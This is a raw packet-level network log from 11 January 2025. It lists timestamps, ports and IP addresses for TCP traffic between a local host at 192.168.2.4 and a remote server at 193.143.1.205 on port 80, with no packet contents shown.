Jan 11, 2025 05:09:18.869676113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.869735956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869745970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869755983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869767904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869792938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.869826078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.870450974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.870461941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.870481014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.870490074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.870515108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.870524883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.870543957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.870553970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.870554924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.870619059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.870634079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.870647907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.870661974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.870668888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.870676041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.870688915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.870702028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.870729923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.871357918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.871368885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.871378899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.871421099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.871476889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.871489048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.871499062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.871509075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.871512890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.871522903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.871543884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.871561050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.871572018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.871576071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.871602058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.871613026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.871613979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.871653080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.872334957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.872344971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.872359037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.872375965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.872376919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.872422934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.872452974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.872462988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.872483015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.872494936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.872498035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.872531891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.872605085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.872616053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.872627974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.872638941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.872644901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.872679949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.873312950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.873322964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.873336077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.873353958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.873363972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.873409986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.873418093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.873420954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.873425007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.873437881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.873454094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.873478889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.873516083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.873524904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.873536110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.873548031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.873568058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.873591900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.874161005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.874295950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.874305964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.874320030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.874346018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.878104925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.893161058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.917016029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.917032003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.917052031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.917063951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.917078018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.917090893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.917107105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.917128086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.917188883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.955395937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955419064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955431938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955444098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955456018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955466032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955480099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955492020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955504894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955519915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955516100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.955621958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955621958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.955621958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.955636978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955645084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955656052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955667973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.955682993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.955715895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.993160963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.993179083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.993191957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.993205070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.993304014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.993334055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.993381977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.993668079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.993758917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.993803978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.993807077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.993861914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.993897915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.993911028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.993922949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.993932009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.993948936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994050026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994061947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994101048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994105101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994146109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994158983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994169950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994182110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994195938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994214058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994232893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994240999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994246006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994259119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994271040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994287014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994323969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994421005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994434118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994446039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994456053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994467974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994478941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994484901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994493008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994508982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994515896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994529009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994532108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994539976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994553089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994555950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994569063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994580030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994592905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994604111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994606972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994613886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994654894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994673014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994684935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994698048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994709969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994714022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994731903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994811058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994823933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994834900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994847059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994854927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994865894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994868994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994885921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994899988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.994930029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.994959116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.995102882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995157957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995168924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995179892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995199919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.995219946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995225906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.995233059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995244980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995256901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995295048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.995309114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.995321035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995332956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995345116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995356083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995368004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995373964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.995382071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995395899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.995425940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.995456934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995471954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995484114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995506048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995517969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995520115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.995531082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995544910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.995548010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.995574951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.996046066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996068954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996081114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996093988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.996128082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996129036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.996140957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996146917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996174097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996184111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.996187925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996217012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996228933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.996237993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996251106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996263027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.996294022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.996321917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996334076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996345997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996352911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996366024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996378899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996402979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.996439934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.996439934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996454000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996469021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996481895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.996499062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.996514082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.997003078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.997016907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.997068882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.000116110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.041992903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042047977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042058945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042064905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042076111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042114019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042125940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042138100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042151928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042165995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.042201996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.042216063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042233944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042256117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042259932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.042269945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042277098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042310953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.042344093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042481899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042494059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042506933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042519093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042530060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.042540073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042552948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.042584896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.042669058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042680979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042695045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042705059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.042728901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.042762995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.079965115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080034971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080046892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080059052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080096960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.080106974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080118895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.080138922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080188990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.080199957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080213070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080226898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080243111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080255032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.080284119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.080300093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080369949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080382109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080393076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080405951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080415010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.080445051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080451965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.080457926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080486059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.080526114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080569983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.080615044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080636978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080651045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080663919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080677032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.080679893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080693007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080727100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.080741882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.080826044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080848932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080862045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080900908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080904961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.080918074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080939054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.080944061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.080981970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.081005096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081017971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081029892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081042051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081070900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.081078053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081088066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.081090927 CET	80	49730	193.143.1.205	192.168.2.4
